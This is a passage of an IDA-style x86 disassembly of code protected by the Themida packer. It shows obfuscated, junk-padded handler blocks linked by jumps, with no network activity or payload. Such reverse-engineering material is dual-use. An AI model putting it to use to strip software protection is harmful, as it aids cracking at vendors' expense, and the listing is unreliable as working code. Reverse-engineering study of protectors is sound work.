		pop	esp
		jmp	loc_54E8BF
; ---------------------------------------------------------------------------


loc_544844:				; CODE XREF: Themida_:0054718Ej
		shl	eax, 3
		shr	eax, 2
		jmp	loc_54CCB6
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	10F4h
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_54E5A2
; ---------------------------------------------------------------------------


loc_544868:				; CODE XREF: Themida_:0054CAA8j
		push	small word ptr [esp+2]
		mov	bp, [esp]
		add	esp, 2
		pop	small word ptr [esp]
		not	bp
		sub	esp, 2
		jmp	loc_54E80A
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edx
		push	esp
		pop	edx
		jmp	loc_54BD4D
; ---------------------------------------------------------------------------


loc_54488F:				; CODE XREF: Themida_:0054854Aj
		add	esp, 4
		push	5D6Fh
		mov	[esp], ecx
		jmp	loc_548420
; ---------------------------------------------------------------------------


loc_54489F:				; CODE XREF: Themida_:00549158j
		push	ebx
		jmp	loc_54B307
; ---------------------------------------------------------------------------


loc_5448A5:				; CODE XREF: Themida_:0054D29Ej
		mov	eax, 371069F8h
		sub	eax, 0CD703450h
		jmp	loc_54EAC2
; ---------------------------------------------------------------------------


loc_5448B4:				; CODE XREF: Themida_:0054EAEBj
		pop	ebp
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5481DE
; ---------------------------------------------------------------------------


loc_5448BE:				; CODE XREF: Themida_:00548413j
		push	47B8h
		mov	[esp], edx
		jmp	loc_54EF79
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp], ax
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_5448DB:				; CODE XREF: Themida_:0054D037j
		push	cx
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_5448E3:				; CODE XREF: Themida_:0054E94Cj
		add	edx, 917B23Ah
		add	esi, 59965C87h
		add	esi, edx
		sub	esi, 59965C87h
		pop	edx
		jmp	loc_54B636
; ---------------------------------------------------------------------------


loc_5448FD:				; CODE XREF: Themida_:0054BF8Fj
		pop	ebp
		jmp	loc_54AD41
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_548754
; ---------------------------------------------------------------------------


loc_54490B:				; CODE XREF: Themida_:0054921Fj
		sub	edi, edx
		pop	edx
		add	ebx, 4A60221Ah
		jmp	loc_54804C
; ---------------------------------------------------------------------------


loc_544919:				; CODE XREF: Themida_:00547764j
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_5440AC
; ---------------------------------------------------------------------------


loc_54492C:				; CODE XREF: Themida_:0054D937j
		sub	edi, 18CC3C39h
		push	esi
		mov	esi, 200D57E4h
		push	eax
		mov	eax, 6BAA1BC4h
		xor	esi, eax
		jmp	loc_54FF2A
; ---------------------------------------------------------------------------


loc_544945:				; CODE XREF: Themida_:0054AF6Aj
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_544C2F
; ---------------------------------------------------------------------------


loc_544953:				; CODE XREF: Themida_:0054DE6Cj
		mov	ecx, eax
		pop	eax
		add	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_5491E5
; ---------------------------------------------------------------------------


loc_544964:				; CODE XREF: Themida_:0054A5B2j
		add	eax, ecx
		pop	ecx
		push	6192h
		mov	[esp], edi
		mov	edi, 1748C3DDh
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 41EA03A6h
		jmp	loc_54648B
; ---------------------------------------------------------------------------


loc_544987:				; CODE XREF: Themida_:0054F2DBj
		push	esp
		jmp	loc_54F5E4
; ---------------------------------------------------------------------------


loc_54498D:				; CODE XREF: Themida_:0054708Aj
		pop	esi
		sub	edx, edi
		jmp	loc_5476BF
; ---------------------------------------------------------------------------


loc_544995:				; CODE XREF: Themida_:005484CFj
		add	dword ptr [esp], 62A06B5h
		pop	ecx
		sub	ecx, 62A06B5h
		jmp	loc_54E4BB
; ---------------------------------------------------------------------------


loc_5449A8:				; CODE XREF: Themida_:0054ABF1j
		push	ebx
		mov	ebx, 4BA43D32h
		sub	ebx, 0EF91CFE8h
		add	edi, ebx
		pop	ebx
		push	ebp
		jmp	loc_54EA27
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	eax
		push	esp
		pop	eax
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		jmp	loc_54BC81
; ---------------------------------------------------------------------------


loc_5449D8:				; CODE XREF: Themida_:0054CAE6j
		mov	[esp], ebp
		jmp	loc_54D74E
; ---------------------------------------------------------------------------


loc_5449E0:				; CODE XREF: Themida_:0054C92Fj
		dec	edx
		add	edx, 20077420h
		shl	edx, 8
		xor	edx, 0A21E1062h
		sub	esi, edx
		mov	edx, [esp]
		jmp	loc_5488D3
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		push	ecx
		mov	ecx, 6C421703h
		add	ebp, ecx
		jmp	loc_544D03
; ---------------------------------------------------------------------------


loc_544A1C:				; CODE XREF: Themida_:0054852Aj
		sub	edx, esi
		pop	esi
		sub	edx, 0C4651D0h
		jmp	loc_54875C
; ---------------------------------------------------------------------------


loc_544A2A:				; CODE XREF: Themida_:0054A943j
		pop	ecx
		shr	eax, 8
		xor	eax, ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_54B8B7
; ---------------------------------------------------------------------------


loc_544A3D:				; CODE XREF: Themida_:005490CBj
		pop	ecx
		sub	bl, 21h
		sub	bl, 9Ch
		sub	bl, dl
		add	bl, 9Ch
		push	ecx
		mov	ch, 91h
		neg	ch
		add	ch, 6Dh
		dec	ch
		sub	ch, 0BAh
		jmp	loc_54ADE7
; ---------------------------------------------------------------------------


loc_544A5B:				; CODE XREF: Themida_:0054F26Dj
		add	esp, 4
		jmp	loc_5490F3
; ---------------------------------------------------------------------------


loc_544A63:				; CODE XREF: Themida_:0054D787j
		add	bl, 0EDh
		sub	bl, 0C9h
		sub	bl, al
		push	edx
		mov	dh, 0F3h
		jmp	loc_54F591
; ---------------------------------------------------------------------------


loc_544A73:				; CODE XREF: Themida_:00549DE5j
		or	ebx, ebp
		jmp	loc_5490D0
; ---------------------------------------------------------------------------


loc_544A7A:				; CODE XREF: Themida_:005485ACj
		mov	ecx, 0EC6AF291h
		add	ebx, ecx
		pop	ecx
		sub	eax, ebx
		pop	ebx
		push	2C68h
		mov	[esp], esi
		mov	esi, 1482832Fh
		push	edi
		mov	edi, 1B980434h
		sub	eax, edi
		jmp	loc_54B121
; ---------------------------------------------------------------------------


loc_544A9F:				; CODE XREF: Themida_:0054677Dj
		sub	ebx, 12EC4473h
		sub	edx, ebx
		pop	ebx
		shr	edx, 7
		xor	edx, 96987Bh
		add	esi, 18450027h
		add	esi, edx
		sub	esi, 18450027h
		pop	edx
		jmp	loc_545DC9
; ---------------------------------------------------------------------------


loc_544AC5:				; CODE XREF: Themida_:0054F63Ej
		push	ebx
		jmp	loc_54674E
; ---------------------------------------------------------------------------


loc_544ACB:				; CODE XREF: Themida_:00548F32j
		add	ecx, esi
		pop	esi
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_54F123
; ---------------------------------------------------------------------------


loc_544ADA:				; CODE XREF: Themida_:0054DA4Cj
		xor	esi, 0E051D71Ch
		mov	ebp, esi
		pop	esi
		jmp	loc_54F16C
; ---------------------------------------------------------------------------


loc_544AE8:				; CODE XREF: Themida_:0054C5F4j
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		jmp	loc_54B5C9
; ---------------------------------------------------------------------------


loc_544AF8:				; CODE XREF: Themida_:0054815Ej
		not	ebp
		push	edx
		mov	edx, 2736C6Fh
		inc	edx
		xor	edx, 32206A00h
		or	edx, 3BEC4433h
		shl	edx, 2
		jmp	loc_54F3FC
; ---------------------------------------------------------------------------


loc_544B15:				; CODE XREF: Themida_:00550066j
		or	ebx, 1EFD2DEAh
		and	ebx, 7EAE78A5h
		sub	ebx, 6079F367h
		xchg	edx, ebx
		jmp	loc_54D0BC
; ---------------------------------------------------------------------------


loc_544B2E:				; CODE XREF: Themida_:005483B9j
		pop	ebx
		add	eax, ebp
		pop	ebp
		push	ebx
		jmp	loc_54EE71
; ---------------------------------------------------------------------------


loc_544B38:				; CODE XREF: Themida_:0054EE93j
		mov	edi, 56F32FF2h
		jmp	loc_549AA5
; ---------------------------------------------------------------------------


loc_544B42:				; CODE XREF: Themida_:0054C164j
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_547DB5
; ---------------------------------------------------------------------------


loc_544B51:				; CODE XREF: Themida_:005471EBj
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_54F272
; ---------------------------------------------------------------------------


loc_544B5F:				; CODE XREF: Themida_:0054BD40j
		sub	ebx, 0BD73285h
		sub	ebx, eax
		sub	esp, 4
		jmp	loc_547861
; ---------------------------------------------------------------------------


loc_544B72:				; CODE XREF: Themida_:0054FBC6j
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_544B77:				; CODE XREF: Themida_:0054880Cj
		push	edi
		mov	edi, 34FA499Dh
		xor	edi, 27D54E89h
		add	edi, 3CFB33AAh
		xor	ecx, edi
		pop	edi
		jmp	loc_54DC7A
; ---------------------------------------------------------------------------


loc_544B91:				; CODE XREF: Themida_:0054D226j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	edi
		mov	edi, esp
		push	ecx
		jmp	loc_546DB3
; ---------------------------------------------------------------------------


loc_544BA1:				; CODE XREF: Themida_:00544FA3j
		push	0
		sub	[esp], edi
		pop	edi
		push	ebx
		mov	ebx, 29206C57h
		jmp	loc_54805C
; ---------------------------------------------------------------------------


loc_544BB5:				; CODE XREF: Themida_:00548BCDj
		push	edi
		jmp	loc_547484
; ---------------------------------------------------------------------------


loc_544BBB:				; CODE XREF: Themida_:0054EF3Bj
		pop	edi
		shr	eax, 1
		push	0DD4h
		mov	[esp], edi
		mov	edi, 5D513272h
		xor	eax, edi
		pop	edi
		xor	eax, 4CD298E3h
		add	ebp, 2BEE0E4Eh
		add	ebp, eax
		sub	ebp, 2BEE0E4Eh
		pop	eax
		push	esi
		mov	esi, 2
		add	ebp, esi
		pop	esi
		jmp	loc_54DA6D
; ---------------------------------------------------------------------------


loc_544BF0:				; CODE XREF: Themida_:0054B8B2j
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_544C01:				; CODE XREF: Themida_:0054A393j
		mov	[esp], ebx
		jmp	loc_547E75
; ---------------------------------------------------------------------------


loc_544C09:				; CODE XREF: Themida_:0054AFD2j
		pop	dword ptr [esp]
		jmp	loc_54A458
; ---------------------------------------------------------------------------


loc_544C11:				; CODE XREF: Themida_:005475ABj
		xor	ecx, ebx
		xor	ebx, ecx
		xor	ecx, ebx
		xchg	edx, ebx
		xchg	ebp, edx
		not	ebp
		xchg	ebp, edx
		push	ebx
		push	edx
		jmp	loc_54E6C3
; ---------------------------------------------------------------------------


loc_544C26:				; CODE XREF: Themida_:0054CC8Cj
		pop	ecx
		popa
		popf
		retn
; ---------------------------------------------------------------------------
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_544C2F:				; CODE XREF: Themida_:0054494Ej
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_544C3D:				; CODE XREF: Themida_:0054C3F5j
		sub	edx, edi
		pop	edi
		add	edx, eax
		jmp	loc_54538D
; ---------------------------------------------------------------------------


loc_544C47:				; CODE XREF: Themida_:0054B019j
		xor	edi, eax
		pop	eax
		mov	edx, edi
		pop	edi
		add	esi, edx
		jmp	loc_545761
; ---------------------------------------------------------------------------


loc_544C54:				; CODE XREF: Themida_:0054BFA9j
		mov	ebp, 2
		add	ecx, ebp
		pop	ebp
		xchg	ecx, [esp]
		pop	esp
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_544C6A:				; CODE XREF: Themida_:00549586j
		sub	ebp, 3106C29h
		jmp	loc_54FD06
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5473CC
; ---------------------------------------------------------------------------


loc_544C84:				; CODE XREF: Themida_:0054532Cj
		push	ecx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		jmp	loc_54EAF7
; ---------------------------------------------------------------------------


loc_544C9B:				; CODE XREF: Themida_:0054727Ej
		xor	dword ptr [esp], 6DB8191Eh
		pop	ecx
		xor	ecx, 6DB8191Eh
		mov	esi, [esp]
		jmp	loc_54D23C
; ---------------------------------------------------------------------------


loc_544CB1:				; CODE XREF: Themida_:0054F1A4j
		dec	eax
		neg	eax
		add	eax, 427F177Fh
		xor	eax, 0FFA7EB03h
		jmp	loc_548BBA
; ---------------------------------------------------------------------------


loc_544CC3:				; CODE XREF: Themida_:0054C2E7j
		xor	ebx, edi
		pop	edi
		jmp	loc_548B98
; ---------------------------------------------------------------------------


loc_544CCB:				; CODE XREF: Themida_:0054F86Bj
		sub	[esp], ax
		pushf
		jmp	loc_5490DC
; ---------------------------------------------------------------------------


loc_544CD5:				; CODE XREF: Themida_:0054BA62j
		mov	edx, esp
		add	edx, 4
		jmp	loc_54915D
; ---------------------------------------------------------------------------


loc_544CE2:				; CODE XREF: Themida_:0054ACD1j
		pop	edx
		sub	cl, 73h
		add	cl, bl
		add	cl, 73h
		pop	bx
		sub	bl, 19h
		add	bl, cl
		add	bl, 19h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_54F40A
; ---------------------------------------------------------------------------


loc_544D03:				; CODE XREF: Themida_:00544A17j
		pop	ecx
		jmp	loc_548988
; ---------------------------------------------------------------------------


loc_544D09:				; CODE XREF: Themida_:0054A836j
		add	esp, 4
		push	3AF9h
		mov	[esp], edi
		mov	edi, 2F457BC8h
		push	2C5Ah
		mov	[esp], edi
		jmp	loc_54A7B2
; ---------------------------------------------------------------------------


loc_544D26:				; CODE XREF: Themida_:0054C687j
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_544D42:				; CODE XREF: Themida_:0054F1F4j
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_54EA19
; ---------------------------------------------------------------------------


loc_544D5A:				; CODE XREF: Themida_:0054CE69j
		add	esi, eax
		jmp	loc_54F7F0
; ---------------------------------------------------------------------------


loc_544D61:				; CODE XREF: Themida_:00548770j
		not	ecx
		or	ecx, 0BB130DAh
		push	1230h
		mov	[esp], edi
		mov	edi, 6B2F03BAh
		shl	edi, 2
		xor	edi, 5747321Fh
		sub	ecx, edi
		pop	edi
		add	esi, 63EF4325h
		add	esi, ecx
		sub	esi, 63EF4325h
		pop	ecx
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_54D005
; ---------------------------------------------------------------------------


loc_544DA2:				; CODE XREF: Themida_:0054EEDDj
		mov	[esp], edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		push	edi
		push	2
		push	dword ptr [esp]
		pop	edi
		jmp	loc_54409B
; ---------------------------------------------------------------------------


loc_544DBC:				; CODE XREF: Themida_:0054FB88j
		and	edx, 221F4385h
		push	ecx
		jmp	loc_54754C
; ---------------------------------------------------------------------------


loc_544DC8:				; CODE XREF: Themida_:005483AEj
		push	eax
		jmp	loc_54564B
; ---------------------------------------------------------------------------


loc_544DCE:				; CODE XREF: Themida_:0054DE0Fj
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	eax
		mov	eax, 4
		add	ebp, 34372232h
		add	ebp, eax
		sub	ebp, 34372232h
		pop	eax
		add	ebp, 4
		jmp	loc_54D6E5
; ---------------------------------------------------------------------------


loc_544DFE:				; CODE XREF: Themida_:00548DF2j
		sub	ebx, 0A4C466Dh
		push	ebp
		push	edx
		push	55D27B6Fh
		pop	edx
		inc	edx
		jmp	loc_5455B9
; ---------------------------------------------------------------------------


loc_544E12:				; CODE XREF: Themida_:0054F3BBj
		add	esi, 44665AB1h
		pop	edx
		and	esi, 0E512FC4h
		xor	esi, 60626E85h
		add	eax, esi
		pop	esi
		sub	eax, 562D0735h
		sub	eax, ebx
		add	eax, 562D0735h
		sub	eax, 66324705h
		push	66ACh
		mov	[esp], ecx
		mov	ecx, 23CF72B9h
		xor	eax, ecx
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		push	5B67h
		mov	[esp], ebp
		mov	ebp, 37751775h
		shr	ebp, 1
		add	ebp, 70746C3Ah
		add	ebp, 73D10810h
		jmp	loc_5487DD
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_5492C2
; ---------------------------------------------------------------------------


loc_544E77:				; CODE XREF: Themida_:00546BA3j
		pop	esp
		mov	[esp], ebp
		jmp	loc_546852
; ---------------------------------------------------------------------------


loc_544E80:				; CODE XREF: Themida_:005480B8j
		push	ebx
		jmp	loc_54827F
; ---------------------------------------------------------------------------


loc_544E86:				; CODE XREF: Themida_:loc_54444Cj
		push	edx
		mov	edx, 7BEF2955h
		jmp	loc_54BD22
; ---------------------------------------------------------------------------


loc_544E91:				; CODE XREF: Themida_:00547B06j
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_54C0A9
; ---------------------------------------------------------------------------


loc_544E9C:				; CODE XREF: Themida_:00547487j
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	edi
		jmp	loc_54EE56
; ---------------------------------------------------------------------------


loc_544EAC:				; CODE XREF: Themida_:0054EA14j
		btc	[esp], ax
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_544EB7:				; CODE XREF: Themida_:0054BF2Aj
		mov	esp, [esp]
		mov	fs:[edx], ax
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_544EC3:				; CODE XREF: Themida_:0054B56Aj
		xor	edi, 19586E4Fh
		sub	edi, 0FACB9E4Bh
		add	ebp, edi
		jmp	loc_54E990
; ---------------------------------------------------------------------------


loc_544ED6:				; CODE XREF: Themida_:0054AD5Dj
		pop	esp
		mov	[esp], edx
		push	ebx
		mov	ebx, 7ED14861h
		jmp	loc_54E4E0
; ---------------------------------------------------------------------------


loc_544EE5:				; CODE XREF: Themida_:005480D0j
		push	dword ptr [esp]
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_54FB8D
; ---------------------------------------------------------------------------


loc_544EFF:				; CODE XREF: Themida_:0054D9FCj
		push	41D3h
		mov	[esp], edi
		mov	edi, esp
		push	eax
		push	4
		pop	eax
		sub	edi, 260377C0h
		add	edi, eax
		add	edi, 260377C0h
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_545DF1
; ---------------------------------------------------------------------------


loc_544F2C:				; CODE XREF: Themida_:0054FE7Bj
		push	edi
		push	80000h
		pop	edi
		and	eax, edi
		mov	edi, [esp]
		push	esi
		push	6388h
		mov	[esp], esp


loc_544F41:				; DATA XREF: ___:off_435720o
		jmp	loc_54DB44
; ---------------------------------------------------------------------------


loc_544F46:				; CODE XREF: Themida_:0054570Fj
		mov	esi, 283B05DCh
		push	esi
		push	eax
		push	35D42D7Ch
		pop	eax
		xor	eax, 1DEF2884h
		mov	esi, eax
		pop	eax
		push	esi
		mov	eax, [esp]
		add	esp, 4
		mov	esi, [esp]
		jmp	loc_54E14B
; ---------------------------------------------------------------------------


loc_544F6A:				; CODE XREF: Themida_:00549F2Cj
		mov	edi, 40B6402Fh
		add	edi, 0FFFFFFFFh
		add	edi, 337BEA59h
		sub	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		neg	ecx
		push	0F6Eh
		jmp	loc_54A59E
; ---------------------------------------------------------------------------
		push	ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		push	edi
		mov	edi, 36261EE7h
		shr	edi, 2
		jmp	loc_544BA1
; ---------------------------------------------------------------------------
		dd 5366D800h, 4EC8152h,	89000000h, 4CB02404h, 0B5518A04h
		dd 46F9E919h, 5580000h,	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	ebp
		mov	ebp, 38E550Bh
		mov	esi, ebp
		mov	ebp, [esp]
		jmp	loc_547C81
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_547E2F
; ---------------------------------------------------------------------------


loc_544FF5:				; CODE XREF: Themida_:0054B2D2j
		shl	ebx, 4
		dec	ebx
		jmp	loc_54D1C8
; ---------------------------------------------------------------------------


loc_544FFE:				; CODE XREF: Themida_:005456FFj
		pop	esp
		rol	dword ptr [esp], cl
		pushf
		jmp	loc_5484D4
; ---------------------------------------------------------------------------


loc_545008:				; CODE XREF: Themida_:0054D1E9j
		add	esp, 4
		jmp	loc_54F109
; ---------------------------------------------------------------------------


loc_545010:				; CODE XREF: Themida_:005490EEj
		sub	esp, 4
		mov	[esp], edi
		push	2FF71948h
		pop	edi
		add	ebx, 7986BD5h
		add	ebx, edi
		jmp	loc_547878
; ---------------------------------------------------------------------------


loc_545029:				; CODE XREF: Themida_:005453EAj
		xor	ebx, 49F95897h
		push	edi
		mov	edi, ebx
		mov	ebp, edi
		pop	edi
		pop	ebx
		shl	ebp, 6
		dec	ebp
		add	ebp, 45A39F01h
		mov	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		and	eax, edx
		mov	edx, [esp]
		jmp	loc_547AC1
; ---------------------------------------------------------------------------


loc_545052:				; CODE XREF: Themida_:00545F74j
		not	bp
		jmp	loc_54EBF0
; ---------------------------------------------------------------------------


loc_54505A:				; CODE XREF: Themida_:0054F5A7j
		mov	esi, 0E1A4F075h
		add	esi, ecx
		pop	ecx
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_549F85
; ---------------------------------------------------------------------------


loc_545083:				; CODE XREF: Themida_:0054F785j
		and	dl, 0B3h
		xor	dl, 0EDh
		sub	dl, 0FFh
		neg	dl
		dec	dl
		push	ebx
		mov	bh, 0
		or	bh, 0D9h
		sub	bh, 0CDh
		inc	bh
		sub	bh, 0FFh
		xor	bh, 0F6h
		push	3824h
		mov	[esp], ecx
		mov	cl, 0F7h
		sub	cl, 9Dh
		jmp	loc_54DA35
; ---------------------------------------------------------------------------


loc_5450B3:				; CODE XREF: Themida_:00548E73j
		mov	ax, [esp]
		push	ebx
		mov	ebx, esp
		push	edx
		push	esi
		mov	esi, 201E4C7Ah
		shl	esi, 1
		push	ebp
		mov	ebp, 3C2D5E1Dh
		and	esi, ebp
		pop	ebp
		add	esi, 500F3B71h
		mov	edx, esi
		pop	esi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 25D87BE0h
		not	ebp
		neg	ebp
		not	ebp
		or	ebp, 6D536BB5h
		add	ebp, 44736CE3h
		add	edx, ebp
		pop	ebp
		xor	edx, 38C0266Ah
		add	edx, 66301D59h
		jmp	loc_54FBE6
; ---------------------------------------------------------------------------


loc_545109:				; CODE XREF: Themida_:0054A9CDj
		add	ebp, edi
		jmp	loc_546B53
; ---------------------------------------------------------------------------


loc_545110:				; CODE XREF: Themida_:0054C99Fj
		sub	eax, esi
		mov	esi, [esp]
		add	esp, 4
		add	ebp, eax
		pop	eax
		jmp	loc_5460A7
; ---------------------------------------------------------------------------


loc_545123:				; CODE XREF: Themida_:0054C1F7j
		add	ebp, edx
		add	ebp, 61941455h
		jmp	loc_548F4B
; ---------------------------------------------------------------------------


loc_545130:				; CODE XREF: Themida_:00544455j
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_546AEE
; ---------------------------------------------------------------------------


loc_54513D:				; CODE XREF: Themida_:0054A29Bj
		mov	ecx, 0A232ADAFh
		sub	ecx, edx
		pop	edx
		xor	ecx, eax
		pop	eax
		or	[edi+1Ch], ecx
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_54F43D
; ---------------------------------------------------------------------------


loc_545160:				; CODE XREF: Themida_:00549445j
		add	ebp, edx
		push	dword ptr [esp]
		pop	edx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_54779B
; ---------------------------------------------------------------------------


loc_545185:				; CODE XREF: Themida_:0054D362j
		xchg	eax, [esp]
		jmp	loc_549C0A
; ---------------------------------------------------------------------------


loc_54518D:				; CODE XREF: Themida_:00547553j
		pop	ecx
		add	edi, edx
		pop	edx
		push	416Fh
		mov	[esp], edi
		mov	esi, [esp]
		add	esp, 4
		pop	edi
		add	[edi+24h], esi
		push	dword ptr [esp]
		jmp	loc_54CCFB
; ---------------------------------------------------------------------------


loc_5451AB:				; CODE XREF: Themida_:005478C6j
		add	ebp, 0FFFFFFFFh
		jmp	loc_5474EF
; ---------------------------------------------------------------------------
		mov	ecx, [esp]
		jmp	loc_54C4B1
; ---------------------------------------------------------------------------


loc_5451BE:				; CODE XREF: Themida_:0054FFE3j
		add	edi, 6B0D3990h
		xor	edi, 7E53970Ch
		jmp	loc_54E36A
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	ebp
		mov	ebp, 22B3016Ch
		shr	ebp, 5
		jmp	loc_54B12C
; ---------------------------------------------------------------------------


loc_545202:				; CODE XREF: Themida_:0054BF99j
		mov	[esp], edx
		push	esp
		pop	edx
		push	esi
		jmp	loc_54E7F2
; ---------------------------------------------------------------------------


loc_54520D:				; CODE XREF: Themida_:0054B90Dj
		add	ebp, eax
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_546D7A
; ---------------------------------------------------------------------------


loc_54521A:				; CODE XREF: Themida_:0054D37Dj
		mov	esi, 4
		add	[esp+4], esi
		jmp	loc_547A62
; ---------------------------------------------------------------------------


loc_545228:				; CODE XREF: Themida_:0054687Ej
		mov	ch, dl
		pop	edx
		jmp	loc_54AEDB
; ---------------------------------------------------------------------------


loc_545230:				; CODE XREF: Themida_:00549B82j
		push	ebx
		jmp	loc_54E5EF
; ---------------------------------------------------------------------------


loc_545236:				; CODE XREF: Themida_:005496C0j
		mov	ecx, [esp]
		jmp	loc_54B595
; ---------------------------------------------------------------------------


loc_54523E:				; CODE XREF: Themida_:0054A6B0j
		pop	esp
		xor	ebp, [esp]
		jmp	loc_54E286
; ---------------------------------------------------------------------------


loc_545247:				; CODE XREF: Themida_:0054B5C4j
		sub	esi, 776E42EFh
		jmp	loc_54C6FF
; ---------------------------------------------------------------------------


loc_545252:				; CODE XREF: Themida_:0054CB4Cj
		pop	ebp
		add	ebx, ebp
		pop	ebp
		jmp	loc_5476A9
; ---------------------------------------------------------------------------


loc_54525B:				; CODE XREF: Themida_:0054E225j
		push	ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_547227
; ---------------------------------------------------------------------------


loc_545280:				; CODE XREF: Themida_:00548C32j
		push	edx
		mov	edx, 3C366600h
		jmp	loc_549ECA
; ---------------------------------------------------------------------------


loc_54528B:				; CODE XREF: Themida_:005474C8j
		mov	bl, al
		jmp	loc_54D569
; ---------------------------------------------------------------------------


loc_545292:				; CODE XREF: Themida_:00544253j
		mov	ebx, 3ED83E30h
		jmp	loc_546F95
; ---------------------------------------------------------------------------


loc_54529C:				; CODE XREF: Themida_:00546D1Dj
		pop	esp
		push	cx
		mov	cl, 6
		add	bl, cl
		pop	cx
		sub	bl, dh
		push	dx
		mov	dh, 6
		sub	bl, dh
		pop	dx
		pop	dx
		jmp	loc_54CEB7
; ---------------------------------------------------------------------------


loc_5452B6:				; CODE XREF: Themida_:0054A405j
		add	ebp, 4
		push	esi
		mov	esi, 4
		sub	ebp, esi
		pop	esi
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_54E3A0
; ---------------------------------------------------------------------------


loc_5452D3:				; CODE XREF: Themida_:00547F53j
		mov	[esp], edi
		jmp	loc_54624F
; ---------------------------------------------------------------------------


loc_5452DB:				; CODE XREF: Themida_:0054EAA7j
		pop	ecx
		add	esp, 4
		push	ebx
		push	esp
		pop	ebx
		push	ecx
		mov	ecx, 39F53525h
		dec	ecx
		jmp	loc_548E8B
; ---------------------------------------------------------------------------


loc_5452EE:				; CODE XREF: Themida_:0054E6D7j
		push	edx
		mov	edx, 10D761E2h
		not	edx
		xor	edx, 0CC62CF57h
		mov	edi, edx
		pop	edx
		and	edi, 79376BF0h
		sub	edi, 229A42EFh
		jmp	loc_54AC2A
; ---------------------------------------------------------------------------


loc_545310:				; CODE XREF: Themida_:00548176j
		push	edx
